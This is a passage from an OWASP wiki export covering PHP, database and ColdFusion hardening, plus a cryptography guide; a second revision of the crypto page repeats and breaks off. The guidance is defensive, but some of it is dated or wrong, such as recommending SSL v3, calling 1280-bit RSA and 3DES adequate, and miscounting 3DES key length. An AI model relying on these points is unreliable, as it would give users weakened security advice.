With this directive set, all errors that occur during the execution of scripts, with respect to error_reporting, will be sent to the browser. This is desired in a development environment but not on a production server, since it could expose sensitive information about our code, database or web server.

Recommended: off (production), on (development)

'''magic_quotes_gpc '''

Escapes all input coming in from post, get and cookie. This is something we should handle on our own.

This also applies to '''magic_quotes_runtime'''.

Recommended: off

'''post_max_size, upload_max_filesize and memory_limit '''

These directives should be set at a reasonable level to reduce the risk of resource starvation attacks.

==Database security ==

Data obtained from the user needs to be stored securely. In nearly every application, insufficient care is taken to ensure that data cannot be obtained from the database itself.

===How to identify if you are vulnerable ===

* Does the application connect to the database using low privilege users?

* Are there different database connection users for application administration and normal user activities? If not, why not?

* Does the application make use of safer constructs, such as stored procedures which do not require direct table access?

* Highly protected applications:
** Is the database is on another host? Is that host locked down?
** All patches deployed and latest database software in use?
** Does the application connect to the database using an encrypted link? If not, is the application server and database server in a restricted network with minimal other hosts, particularly untrusted hosts like desktop workstations?

===How to protect yourself ===

* The application should connect to the database using as low privilege user as is possible.

* The application should connect to the database with different credentials for every trust distinction (e.g., user, read-only user, guest, administrators) and permissions applied to those tables and databases to prevent unauthorized access and modification.

* The application should prefer safer constructs, such as stored procedures which do not require direct table access. Once all access is through stored procedures, access to the tables should be revoked.

* Highly protected applications:
** The database should be on another host, which should be locked down with all current patches deployed and latest database software in use.
** The application should connect to the database using an encrypted link. If not, the application server and database server must reside in a restricted network with minimal other hosts.
** Do not deploy the database server in the main office network.

==Further Reading ==

* ITIL – Change Management http://www.itil.org.uk/

==ColdFusion Components (CFCs) ==

This section provides guidance on using ColdFusion components (CFCs) without exposing your web application to unnecessary risk. ColdFusion provides two ways of restricting access to CFCs; role-based security and access control.

Role-based security is implemented by the '''''roles''''' attribute of the <cffunction> tag. The attribute contains a comma-delimited list of security roles that can call this method.

Access control is implemented by the '''''access''''' attribute of the <cffunction> tag. The possible values of the attribute in order of most restricted behavior are: private (strongest), package, public (default), and remote (weakest).

'''Private:''' The method is accessible only to methods within the same component. This is similar to the Object Oriented Programming (OOP) private identifier.

'''Package:''' The method is accessible only to other methods within the same package. This is similar to the OOP protected static identifier.

'''Public:''' The method is accessible to any CFC or CFM on the same server. This is similar to the OOP public static identifier.

'''Remote:''' Allows all the privileges of public, in addition to accepting remote requests from HTML forms, Flash, or a web services. This option is required, to publish the function as a web service.

'''Best Practices'''

*Do not use THIS scope inside a component to expose properties. Use a getter or setter function instead. For example, instead of using THIS.myVar create a public function that sets the variable (i.e. setMyVar(value)).

*Do not omit the role attribute as ColdFusion will not restrict user access to the function.

*Avoid using Access=”Remote” if you do not intend to call the component directly from a URL.

==Configuration ==

The following section describes some of the server-wide security-related options available to a ColdFusion administrator via the ColdFusion MX 7 Administrator console web application (http://servername:port/CFIDE/administrator/index.cfm). If the console application is unavailable, you can modify these options by editing the XML files in the cf_root/lib/ (Server configuration) or cf_web_root/WEB-INF/cfusion/lib (J2EE configuration) directory; however, editing these files directly is not recommended.

'''Best Practice '''

*CF Admin Password screen

*Enable a strong Administrator password
**'''The ColdFusion Administrator is the default interface for configuring the ColdFusion application server. It is secured by a single password. Ensure that the Administrator security is enabled and the password is strong and stored in a secure place.'''
**Ensure the checkbox is filled
**Enter and confirm a strong password string of 8 characters or more
**Click Submit Changes

'''Sandbox Security screen'''

Enable Sandbox Security

'''The ColdFusion Sandbox allows you to place access security restrictions on files, directories, methods, and data sources. Sandboxes make the most sense for a hosting provider or corporate intranet where multiple applications share the same server. Enable this option.'''

'''Next, a sandbox needs to be configured, because if not all code in all directories will execute without restriction. Code in a directory and its subdirectories inherits the access controls defined for the sandbox. For example, if ABC Company creates multiple applications within their directory all applications will have the same permissions as the parent. A sandbox applied to ABC-apps will apply to app1 and app2. A sample directory structure is shown below:'''

'''D:\inetpub\wwwroot\ABC-apps\app1'''

'''D:\inetpub\wwwroot\ABC-apps\app2'''

'''Note: if a new sandbox is created for app2 then it will not inherit settings from ABC-apps.'''

'''Sandbox security configurations are application specific; however, there are general guidelines that should be followed:'''

Create a default restricted sandbox and copy setting to each subsequent sandbox removing restrictions as needed by the application. Except in the case of files/directories where access is granted rather than restricted.

Restrict access to data sources that should not be accessed by the sandboxed application.

Restrict access to powerful tags, for example CFREGISTRY and CFEXECUTE.

Restrict file and directory access to limit the ability of tags and functions to perform actions to specified paths.

'''''Every''''' application should have a sandbox.

In multi-homed environments disable Java Server Pages (JSP) as ColdFusion is unable to restrict the functionality of the underlying Java server.

'''RDS Password screen'''

Enable a strong RDS password

'''Developers can access ColdFusion resources (files and data sources) over HTTP from Macromedia Dreamweaver MX and HomeSite+ through ColdFusion’s Remote Development Services (RDS). This feature is password protected should only be enabled in secure development environments.'''

Ensure the checkbox is filled

Enter and confirm a strong password string of 8 characters or more

Click Submit Changes

Use RDS over SSL - During development, you should use SSL v3 to encrypt all RDS communications between Dreamweaver MX and the ColdFusion server. This includes remote access to server data sources and drives, provided that both are accessed through RDS.

Disable RDS in Production

'''In production environments, you should not use RDS. In earlier versions of ColdFusion, RDS ran as a separate service or process and could be disabled by disabling the service. In ColdFusion MX, RDS is integrated into the main service. To disable it, you must disable the RDSServlet mapping in the web.xml file. The following procedure assumes that ColdFusion is installed in the default location.'''

'''1. Back up the C:\CFusionMX7\wwwroot\WEB-INF\web.xml file.'''

'''2. Open the web.xml file for editing.'''

'''3. Comment out the RDSServlet mapping, as follows:'''

'''<!—'''

'''<servlet-mapping> '''

'''<servlet-name>RDSServlet</servlet-name> '''

'''<url-pattern>/CFIDE/main/ide.cfm</url-pattern> '''

'''</servlet-mapping>'''

'''--> '''

'''4. Save the file.'''

'''5. Restart ColdFusion.'''

Settings Screen

Enable a Request Timeout

'''ColdFusion processes requests simultaneously and queues all requests above the configured maximum number of simultaneous requests. If requests run abnormally long, this can tie up server resources and lead to DoS attacks. This setting will terminate requests when the configured timeout is reached.'''

Fill the checkbox next to “Timeout Request after (seconds)”

Enter the number of seconds for ColdFusion to allow threads to run

'''To allow a valid template request to run beyond the configured timeout, place a <cfsetting> atop the base ColdFusion template and configure the RequestTimeout attribute for the necessary amount of time (in seconds).'''

Use UUID for cftoken

'''Best practice calls for J2EE session management. In the event that only ColdFusion session management is available, strong security identifiers must be used. Enable this setting to change the default 8-character CFToken security token string to a UUID.'''

Enable Global Script Protection - This is a new security feature in ColdFusion MX 7 that isn’t available in other web application platforms. It helps protect Form, URL, CGI, and Cookie scope variables from cross-site scripting attacks.

Specify a Site-wide Error Handler

'''Prevent information leaks through verbose error messages. Specifying a site-wide error handler covers you when cftry/cfcatch are not used. This page should be a generic error message that you return to the user. Also, if the error handler displays user-input, it should be reviewed for potential cross-site scripting issues.'''

Specify a Missing Template Handler

'''Provide a custom message page for HTTP 404 errors when the server cannot find the requested ColdFusion template.'''

Configure a memory throttling

'''To prevent file upload DoS attacks, Macromedia added new configuration settings to ColdFusion MX 7.0.1 that allow administrators to restrict the total upload size of HTTP POST operations. Configure these settings accordingly.'''

maximum size for post data

'''This is the total size that ColdFusion will accept for any single HTTP POST request (including file uploads). ColdFusion will reject any request whose Content-size header exceeds this setting.'''

Request Throttle Threshold

'''HTTP POST requests larger than this setting (default is 4MB) are included in the total concurrent request memory size and get queued if they exceed the Request Throttle Memory setting.'''

Request Throttle Memory

'''This sets the total amount of memory (MB) ColdFusion reserves for concurrent HTTP POST requests. Any requests exceeding this limit are queued until enough memory is available. '''

'''Memory Variables screen'''

Enable J2EE Session Management and Use J2EE session variables.

Best practice requires J2EE sessions because they are more secure than regular ColdFusion sessions. (See Session Management section)

Select checkbox next to “Enable Session Variables”

Select checkbox next to “Enable J2EE session variables”

Set the maximum session timeout to 20 minutes to limit the window of opportunity for session hijacking.

Set the default session timeout to 20 minutes to limit the window of opportunity for session hijacking. (The default value is 20 minutes.)

The session-timeout parameter in the cf_root/WEB-INF/web.xml file establishes the maximum J2EE session timeout. This setting should always be greater-than or equal-to ColdFusion’s Maximum Session Timeout value.

Set the maximum application timeout to 24 hours.

Set the default application timeout to 8 hours.

'''Data Sources screen'''

Do not use an administrative account to connect ColdFusion to a data source. For example, do not use SA account to connect to a MS SQL Server. The account accessing the database should be granted specific privileges to the objects it needs to access. In addition, the account created to connect the database should be an OS-based, not a SQL account. Operating system accounts have many more auditing, password, and other security controls associated with them. For example, account lockouts and password complexity requirements are built into the Windows operating system; however, a database would need custom code to handle these security-related tasks.

Disable the following Allowed SQL options for all data sources:

Create

Drop

Grant

Revoke

Alter

'''As an administrator, you do not have control over what a developer sends to the database; however, there should be no circumstance where the previous commands need to be sent to a database from a web application.'''

'''Debugging Settings screen'''

Disable Robust Exception for production servers. (Default)

Disable Debugging for production servers. (Default)

'''Debugging IP Addresses'''

Ensure only the addresses of trusted clients are in the IP list.

Only allow the localhost IP (127.0.0.1) in the list on production machines

'''Mail screen'''

Require a user name and password to authenticate to your mail server.

Set the connection timeout to 60 seconds (The default value is 60 seconds.)

==Links==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Activity|Secure Lifecycle]]
[[category:Deployment]]

Guide to Cryptography

2009-05-03T16:01:14Z

KirstenS: /* How to determine if you are vulnerable */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure that cryptography is safely used to protect the confidentiality and integrity of sensitive user data.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS5.18 – Cryptographic key management

==Description ==

Initially confined to the realms of academia and the military, cryptography has become ubiquitous thanks to the Internet. Common every day uses of cryptography include mobile phones, passwords, SSL, smart cards, and DVDs. Cryptography has permeated everyday life, and is heavily used by many web applications.

Cryptography (or crypto) is one of the more advanced topics of information security, and one whose understanding requires the most schooling and experience. It is difficult to get right because there are many approaches to encryption, each with advantages and disadvantages that need to be thoroughly understood by web solution architects and developers. In addition, serious cryptography research is typically based in advanced mathematics and number theory, providing a serious barrier to entry.

The proper and accurate implementation of cryptography is extremely critical to its efficacy. A small mistake in configuration or coding will result in removing a large degree of the protection it affords and rending the crypto implementation useless against serious attacks.

A good understanding of crypto is required to be able to discern between solid products and snake oil. The inherent complexity of crypto makes it easy to fall for fantastic claims from vendors about their product. Typically, these are “a breakthrough in cryptography” or “unbreakable” or provide "military grade" security. If a vendor says "trust us, we have had experts look at this,” chances are they weren't experts!

==Cryptographic Functions ==

Cryptographic systems can provide one or more of the following four services. It is important to distinguish between these, as some algorithms are more suited to particular tasks, but not to others.

When analyzing your requirements and risks, you need to decide which of these four functions should be used to protect your data.

===Authentication ===

Using a cryptographic system, we can establish the identity of a remote user (or system). A typical example is the SSL certificate of a web server providing proof to the user that he or she is connected to the correct server.

The identity is not of the user, but of the cryptographic key of the user. Having a less secure key lowers the trust we can place on the identity.

===Non-Repudiation ===

The concept of non-repudiation is particularly important for financial or e-commerce applications. Often, cryptographic tools are required to prove that a unique user has made a transaction request. It must not be possible for the user to refute his or her actions.

For example, a customer may request a transfer of money from her account to be paid to another account. Later, she claims never to have made the request and demands the money be refunded to the account. If we have non-repudiation through cryptography, we can prove – usually through digitally signing the transaction request, that the user authorized the transaction.

===Confidentiality ===

More commonly, the biggest concern will be to keep information private. Cryptographic systems were originally developed to function in this capacity. Whether it be passwords sent during a log on process, or storing confidential medical records in a database, encryption can assure that only users who have access to the appropriate key will get access to the data.

===Integrity ===

We can use cryptography to provide a means to ensure data is not viewed or altered during storage or transmission. Cryptographic hashes for example, can safeguard data by providing a secure checksum.

==Cryptographic Algorithms ==

Various types of cryptographic systems exist that have different strengths and weaknesses. Typically, they are divided into two classes; those that are strong, but slow to run and those that are quick, but less secure. Most often a combination of the two approaches is used (e.g.: SSL), whereby we establish the connection with a secure algorithm, and then if successful, encrypt the actual transmission with the weaker, but much faster algorithm.

===Symmetric Cryptography ===

Symmetric Cryptography is the most traditional form of cryptography. In a symmetric cryptosystem, the involved parties share a common secret (password, pass phrase, or key). Data is encrypted and decrypted using the same key. These algorithms tend to be comparatively fast, but they cannot be used unless the involved parties have already exchanged keys. Any party possessing a specific key can create encrypted messages using that key as well as decrypt any messages encrypted with the key. In systems involving a number of users who each need to set up independent, secure communication channels symmetric cryptosystems can have practical limitations due to the requirement to securely distribute and manage large numbers of keys.

Common examples of symmetric algorithms are DES, 3DES and AES. The 56-bit keys used in DES are short enough to be easily brute-forced by modern hardware and DES should no longer be used. Triple DES (or 3DES) uses the same algorithm, applied three times with different keys giving it an effective key length of 128 bits. Due to the problems using the DES alrgorithm, the United States National Institute of Standards and Technology (NIST) hosted a selection process for a new algorithm. The winning algorithm was Rijndael and the associated cryptosystem is now known as the Advanced Encryption Standard or AES. For most applications 3DES is acceptably secure at the current time, but for most new applications it is advisable to use AES.

===Asymmetric Cryptography (also called Public/Private Key Cryptography) ===

Asymmetric algorithms use two keys, one to encrypt the data, and either key to decrypt. These inter-dependent keys are generated together. One is labeled the Public key and is distributed freely. The other is labeled the Private Key and must be kept hidden.

Often referred to as Public/Private Key Cryptography, these cryptosystems can provide a number of different functions depending on how they are used.

The most common usage of asymmetric cryptography is to send messages with a guarantee of confidentiality. If User A wanted to send a message to User B, User A would get access to User B’s publicly-available Public Key. The message is then encrypted with this key and sent to User B. Because of the cryptosystem’s property that messages encoded with the Public Key of User B can only be decrypted with User B’s Private Key, only User B can read the message.

Another usage scenario is one where User A wants to send User B a message and wants User B to have a guarantee that the message was sent by User A. In order to accomplish this, User A would encrypt the message with their Private Key. The message can then only be decrypted using User A’s Public Key. This guarantees that User A created the message Because they are then only entity who had access to the Private Key required to create a message that can be decrcrypted by User A’s Public Key. This is essentially a digital signature guaranteeing that the message was created by User A.

A Certificate Authority (CA), whose public certificates are installed with browsers or otherwise commonly available, may also digitally sign public keys or certificates. We can authenticate remote systems or users via a mutual trust of an issuing CA. We trust their ‘root’ certificates, which in turn authenticate the public certificate presented by the server.[[Category:FIXME|seems like there should be a noun after "avialable"]]

PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using RSA or other algorithms.

===Hashes ===

Hash functions take some data of an arbitrary length (and possibly a key or password) and generate a fixed-length hash based on this input. Hash functions used in cryptography have the property that it is easy to calculate the hash, but difficult or impossible to re-generate the original input if only the hash value is known. In addition, hash functions useful for cryptography have the property that it is difficult to craft an initial input such that the hash will match a specific desired value.

MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New applications should consider using SHA-256 instead of these weaker algorithms.

===Key Exchange Algorithms ===

Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party.

==Algorithm Selection ==

As modern cryptography relies on being computationally expensive to break, specific standards can be set for key sizes that will provide assurance that with today’s technology and understanding, it will take too long to decrypt a message by attempting all possible keys.

Therefore, we need to ensure that both the algorithm and the key size are taken into account when selecting an algorithm.

===How to determine if you are vulnerable ===

Proprietary encryption algorithms are not to be trusted as they typically rely on ‘security through obscurity’ and not sound mathematics. These algorithms should be avoided if possible.

Specific algorithms to avoid:

* MD5 has recently been found less secure than previously thought. While still safe for most applications such as hashes for binaries made available publicly, secure applications should now be migrating away from this algorithm.

* SHA-0 has been conclusively broken. It should no longer be used for any sensitive applications.

* SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size.

* DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.

Cryptography is a constantly changing field. As new discoveries in cryptanalysis are made, older algorithms will be found unsafe. In addition, as computing power increases the feasibility of brute force attacks will render other cryptosystems or the use of certain key lengths unsafe. Standard bodies such as NIST should be monitored for future recommendations.

Specific applications, such as banking transaction systems, may have specific requirements for algorithms and key sizes.

===How to protect yourself ===

Assuming you have chosen an open, standard algorithm, the following recommendations should be considered when reviewing algorithms:

'''Symmetric:'''

* Key sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems such as large financial transactions

'''Asymmetric:'''

The difficulty of cracking a 2048 bit key compared to a 1024 bit key is far, far, far, more than the twice you might expect. Don’t use excessive key sizes unless you know you need them. Bruce Schneier in 2002 (see the references section) recommended the following key lengths for circa 2005 threats:

* Key sizes of 1280 bits are sufficient for most personal applications

* 1536 bits should be acceptable today for most secure applications

* 2048 bits should be considered for highly protected applications.

'''Hashes:'''

* Hash sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).

NIST and other standards bodies will provide up to date guidance on suggested key sizes.

'''Design your application to cope with new hashes and algorithms'''

==Key Storage ==

As highlighted above, crypto relies on keys to assure a user’s identity, provide confidentiality and integrity as well as non-repudiation. It is vital that the keys are adequately protected. Should a key be compromised, it can no longer be trusted.

Any system that has been compromised in any way should have all its cryptographic keys replaced.

===How to determine if you are vulnerable ===

Unless you are using hardware cryptographic devices, your keys will most likely be stored as binary files on the system providing the encryption.

Can you export the private key or certificate from the store?

* Are any private keys or certificate import files (usually in PKCS#12 format) on the file system? Can they be imported without a password?

* Keys are often stored in code. This is a bad idea, as it means you will not be able to easily replace keys should they become compromised.

===How to protect yourself ===

* Cryptographic keys should be protected as much as is possible with file system permissions. They should be read only and only the application or user directly accessing them should have these rights.

* Private keys should be marked as not exportable when generating the certificate signing request.

* Once imported into the key store (CryptoAPI, Certificates snap-in, Java Key Store, etc.), the private certificate import file obtained from the certificate provider should be safely destroyed from front-end systems. This file should be safely stored in a safe until required (such as installing or replacing a new front end server).

* Host based intrusion systems should be deployed to monitor access of keys. At the very least, changes in keys should be monitored.

* Applications should log any changes to keys.

* Pass phrases used to protect keys should be stored in physically secure places; in some environments, it may be necessary to split the pass phrase or password into two components such that two people will be required to authorize access to the key. These physical, manual processes should be tightly monitored and controlled.

* Storage of keys within source code or binaries should be avoided. This not only has consequences if developers have access to source code, but key management will be almost impossible.

* In a typical web environment, web servers themselves will need permission to access the key. This has obvious implications that other web processes or malicious code may also have access to the key. In these cases, it is vital to minimize the functionality of the system and application requiring access to the keys.

* For interactive applications, a sufficient safeguard is to use a pass phrase or password to encrypt the key when stored on disk. This requires the user to supply a password on startup, but means the key can safely be stored in cases where other users may have greater file system privileges.

Storage of keys in hardware crypto devices is beyond the scope of this document. If you require this level of security, you should really be consulting with crypto specialists.

==Insecure transmission of secrets ==

In security, we assess the level of trust we have in information. When applied to transmission of sensitive data, we need to ensure that encryption occurs before we transmit the data onto any untrusted network.

In practical terms, this means we should aim to encrypt as close to the source of the data as possible.

===How to determine if you are vulnerable ===

This can be extremely difficult without expert help. We can try to at least eliminate the most common problems:

* The encryption algorithm or protocol needs to be adequate to the task. The above discussion on weak algorithms and weak keys should be a good starting point.

* We must ensure that through all paths of the transmission we apply this level of encryption.

* Extreme care needs to be taken at the point of encryption and decryption. If your encryption library needs to use temporary files, are these adequately protected?

* Are keys stored securely? Is an unsecured file left behind after it has been encrypted?

===How to protect yourself ===

We have the possibility to encrypt or otherwise protect data at different levels. Choosing the right place for this to occur can involve looking at both security as well as resource requirements.

'''Application''': at this level, the actual application performs the encryption or other crypto function. This is the most desirable, but can place additional strain on resources and create unmanageable complexity. Encryption would be performed typically through an API such as the OpenSSL toolkit (www.openssl.com) or operating system provided crypto functions.

An example would be an S/MIME encrypted email, which is transmitted as encoded text within a standard email. No changes to intermediate email hosts are necessary to transmit the message because we do not require a change to the protocol itself.

'''Protocol''': at this layer, the protocol provides the encryption service. Most commonly, this is seen in HTTPS, using SSL encryption to protect sensitive web traffic. The application no longer needs to implement secure connectivity. However, this does not mean the application has a free ride. SSL requires careful attention when used for mutual (client-side) authentication, as there are two different session keys, one for each direction. Each should be verified before transmitting sensitive data.

Attackers and penetration testers love SSL to hide malicious requests (such as injection attacks for example). Content scanners are most likely unable to decode the SSL connection, letting it pass to the vulnerable web server.

'''Network''': below the protocol layer, we can use technologies such as Virtual Private Networks (VPN) to protect data. This has many incarnations, the most popular being IPsec (Internet Protocol v6 Security), typically implemented as a protected ‘tunnel’ between two gateway routers. Neither the application nor the protocol needs to be crypto aware – all traffic is encrypted regardless.

Possible issues at this level are computational and bandwidth overheads on network devices.

==Reversible Authentication Tokens ==

Today’s web servers typically deal with large numbers of users. Differentiating between them is often done through cookies or other session identifiers. If these session identifiers use a predictable sequence, an attacker need only generate a value in the sequence in order to present a seemingly valid session token.

This can occur at a number of places; the network level for TCP sequence numbers, or right through to the application layer with cookies used as authenticating tokens.

===How to determine if you are vulnerable ===

Any deterministic sequence generator is likely to be vulnerable.

===How to protect yourself ===

The only way to generate secure authentication tokens is to ensure there is no way to predict their sequence. In other words: true random numbers.

It could be argued that computers can not generate true random numbers, but using new techniques such as reading mouse movements and key strokes to improve entropy has significantly increased the randomness of random number generators. It is critical that you do not try to implement this on your own; use of existing, proven implementations is highly desirable.

Most operating systems include functions to generate random numbers that can be called from almost any programming language.

'''Windows & .NET:''' On Microsoft platforms including .NET, it is recommended to use the inbuilt CryptGenRandom function (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/seccrypto/security/cryptgenrandom.asp.

'''Unix:''' For all Unix based platforms, OpenSSL is an excellent option (http://www.openssl.org/). It features tools and API functions to generate random numbers. On some platforms, /dev/urandom is a suitable source of pseudo-random entropy.

'''PHP:''' mt_rand() uses a Mersenne Twister, but is nowhere near as good as CryptoAPI’s secure random number generation options, OpenSSL, or /dev/urandom which is available on many Unix variants. mt_rand() has been noted to produce the same number on some platforms – test prior to deployment. '''Do not use rand() as it is very weak.'''

'''Java:''' java.security.SecureRandom within the Java Cryptography Extension (JCE) provides secure random numbers. This should be used in preference to other random number generators.

'''ColdFusion: '''ColdFusion MX 7 leverages the JCE java.security.SecureRandom class of the underlying JVM as its pseudo random number generator (PRNG)'''''.'' '''

==Safe UUID generation ==

UUIDs (such as GUIDs and so on) are only unique if you generate them. This seems relatively straightforward. However, there are many code snippets available that contain existing UUIDS.

===How to determine if you are vulnerable ===

# Determine the source of your existing UUIDS
## Did they come from MSDN?
## Or from an example found on the Internet?
# Use your favorite search engine to find out

===How to protect yourself ===

* Do not cut and paste UUIDs and GUIDs from anything other than the UUIDGEN program or from the UuidCreate() API

* Generate fresh UUIDs or GUIDs for each new program

==Summary ==

Cryptography is one of pillars of information security. Its usage and propagation has exploded due to the Internet and it is now included in most areas computing. Crypto can be used for:

* Remote access such as IPsec VPN

* Certificate based authentication

* Securing confidential or sensitive information

* Obtaining non-repudiation using digital certificates

* ?Online orders and payments

* Email and messaging security such as S/MIME

A web application can implement cryptography at multiple layers: application, application server or runtime (such as .NET), operating system and hardware. Selecting an optimal approach requires a good understanding of application requirements, the areas of risk, and the level of security strength it might require, flexibility, cost, etc.

Although cryptography is not a panacea, the majority of security breaches do not come from brute force computation but from exploiting mistakes in implementation. The strength of a cryptographic system is measured in key length. Using a large key length and then storing the unprotected keys on the same server eliminates most of the protection benefit gained. Besides the secure storage of keys, another classic mistake is engineering custom cryptographic algorithms (to generate random session ids for example). Many web applications were successfully attacked because the developers thought they could create their crypto functions.

Our recommendation is to use proven products, tools, or packages rather than rolling your own.

==Further Reading ==

* Wu, H., ''Misuse of stream ciphers in Word and Excel''

http://eprint.iacr.org/2005/007.pdf

* Bindview, ''Vulnerability in Windows NT's SYSKEY encryption''

http://www.bindview.com/Services/razor/Advisories/1999/adv_WinNT_syskey.cfm [[category:FIXME|is this going to the correct page?]]

* Schneier, B. ''Is 1024 bits enough?, ''April 2002 Cryptogram''

''http://www.schneier.com/crypto-gram-0204.html#3

* Schneier, B., Cryptogram,

http://www.counterpane.com/cryptogram.html [[category:FIXME|link not working]]

* NIST, Replacing SHA-1 with stronger variants: SHA-256 ? 512

http://csrc.nist.gov/CryptoToolkit/tkhash.html [[category:FIXME|these two links go to the same page]]

http://csrc.nist.gov/CryptoToolkit/tkencryption.html

* UUIDs are only unique if you generate them:

http://blogs.msdn.com/larryosterman/archive/2005/07/21/441417.aspx

* Cryptographically Secure Random Numbers on Win32:

http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx

==Cryptography ==

The following section describes ColdFusion’s cryptography features. ColdFusion MX leverages the Java Cryptography Extension (JCE) of the underlying J2EE platform for cryptography and random number generation. It provides functions for symmetric (or private-key) encryption. While it does not provide native functionality for public-key (asymmetric) encryption, it does use the Java Secure Socket Extension (JSSE) for SSL communication.

'''Pseudo-Random Number Generation'''

ColdFusion provides three functions for random number generation: rand(), randomize(), and randRange(). Function descriptions and syntax:

'''Rand''' – Use to generate a pseudo-random number

''' rand([algorithm])'''

'''Randomize''' – Use to seed the pseudo-random number generator (PRNG) with an integer.

''' randomize(number [, algorithm])'''

'''RandRange''' – Use to generate a pseudo-random integer within the range of the specified numbers

''' randrange(number1, number2 [, algorithm])'''

The following values are the allowed algorithm parameters''' ''':

CFMX_COMPAT: (default) – Invokes java.util.rand

SHA1PRNG: (recommended) – Invokes java.security.SecureRandom using the Sun Java SHA-1 PRNG algorithm.

IBMSecureRandom: IBM WebSphere’s JVM does not support the SHA1PRNG algorithm.

'''Symmetric Encryption'''

ColdFusion MX 7 provides six encryption functions: decrypt(), decryptBinary(), encrypt(), encryptBinary(), generateSecretKey(), and hash(). Function descriptions and syntax:

'''Decrypt''' – Use to decrypt encrypted strings with specified key, algorithm, encoding, initialization vector or salt, and iterations

''' decrypt(encrypted_string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''DecryptBinary''' – Use to decrypt encrypted binary data with specified key, algorithm, initialization vector or salt, and iterations

''' decryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''Encrypt''' – Use to encrypt string using specific algorithm, encoding, initialization vector or salt, and iterations

''' encrypt(string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''EncryptBinary''' – Use to encrypt binary data with specified key, algorithm, initialization vector or salt, and iterations

''' encryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''GenerateSecretKey''' – Use to generate a secure key using the specified algorithm for the encrypt and encryptBinary functions

''' generateSecretKey(algorithm)'''

'''Hash '''– Use for one-way conversion of a variable-length string to fixed-length string using the specified algorithm and encoding

''' hash(string[, algorithm[, encoding]] )'''

ColdFusion offers the following default algorithms for these functions''' ''':

CFMX_COMPAT: the algorithm used in ColdFusion MX and prior releases. This algorithm is the least secure option (default).

AES: the Advanced Encryption Standard specified by the National Institute of Standards and Technology (NIST) FIPS-197. (recommended)

BLOWFISH: the Blowfish algorithm defined by Bruce Schneier.

DES: the Data Encryption Standard algorithm defined by NIST FIPS-46-3.

DESEDE: the "Triple DES" algorithm defined by NIST FIPS-46-3.

PBEWithMD5AndDES: A password-based version of the DES algorithm which uses a MD5 hash of the specified password as the encryption key

PBEWithMD5AndTripleDES: A password-based version of the DESEDE algorithm which uses a MD5 hash of the specified password as the encryption key

The following algorithms are provided by default for the hash() function. Note, SHA algorithms used in ColdFusion are NIST FIPS-180-2 compliant''' ''':

CFMX_COMPAT: Generates a MD5 hash string identical to that generated by ColdFusion MX and ColdFusion MX 6.1 (default).

MD5: Generates a 128-bit digest.

SHA: Generates a 160-bit digest. (SHA-1)

SHA-256: Generates a 256-bit digest

SHA-384: Generates a 384-bit digest

SHA-512: Generates a 512-bit digest

'''Pluggable Encryption'''

ColdFusion MX 7 introduced pluggable encryption for CFML. The JCE allows developers to specify multiple cryptographic service providers. ColdFusion can leverage the algorithms, feedback modes, and padding methods of third-party Java security providers to strengthen its cryptography functions. For example, ColdFusion can leverage the Bouncy Castle ('''http://www.bouncycastle.org/''') crypto package and use the SHA-224 algorithm for the hash() function or the Serpent block encryption for the encrypt() function.

See Macromedia’s Strong Encryption in ColdFusion MX 7 technote for information on installing additional security providers for ColdFusion at http://www.macromedia.com/go/e546373d.

'''SSL'''

ColdFusion does not provide tags and functions for public-key encryption, but it can communicate over SSL. ColdFusion leverages the Sun JSSE to communicate over SSL with web and LDAP (lightweight directory access protocol) servers. ColdFusion uses the Java certificate database (e.g. jre_root/lib/security/cacerts) to store server certificates. It compares presented certificate of remote systems to those stored in the database. It also grabs the host system’s certificate from this database and uses it to present to remote systems to initiate the SSL handshake. Certificate information is then exposed as CGI variables.

'''''Best Practices'''''

*Enable /dev/urandom for higher entropy for random number generation

*Call the randomize function before calling rand() or randRange() to seed the random number generator

*DO NOT use the CFMX_COMPAT algorithms. Upgrade your application to use stronger cryptographic ciphers.

*Use AES or higher for symmetric encryption

*Use SHA-256 or higher for the hash function

*Use a salt (or random string) for password generation with the hash function

*Always use generateSecretKey() to generate keys of the appropriate length for Block Encryption algorithms unless a customized key is required

*Use separate key databases to store remote server certificates separately from the ColdFusion server’s certificate

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Encryption]]

Guide to Cryptography

2009-05-03T15:59:33Z

KirstenS: /* Asymmetric Cryptography (also called Public/Private Key Cryptography) */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure that cryptography is safely used to protect the confidentiality and integrity of sensitive user data.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS5.18 – Cryptographic key management

==Description ==

Initially confined to the realms of academia and the military, cryptography has become ubiquitous thanks to the Internet. Common every day uses of cryptography include mobile phones, passwords, SSL, smart cards, and DVDs. Cryptography has permeated everyday life, and is heavily used by many web applications.

Cryptography (or crypto) is one of the more advanced topics of information security, and one whose understanding requires the most schooling and experience. It is difficult to get right because there are many approaches to encryption, each with advantages and disadvantages that need to be thoroughly understood by web solution architects and developers. In addition, serious cryptography research is typically based in advanced mathematics and number theory, providing a serious barrier to entry.

The proper and accurate implementation of cryptography is extremely critical to its efficacy. A small mistake in configuration or coding will result in removing a large degree of the protection it affords and rending the crypto implementation useless against serious attacks.

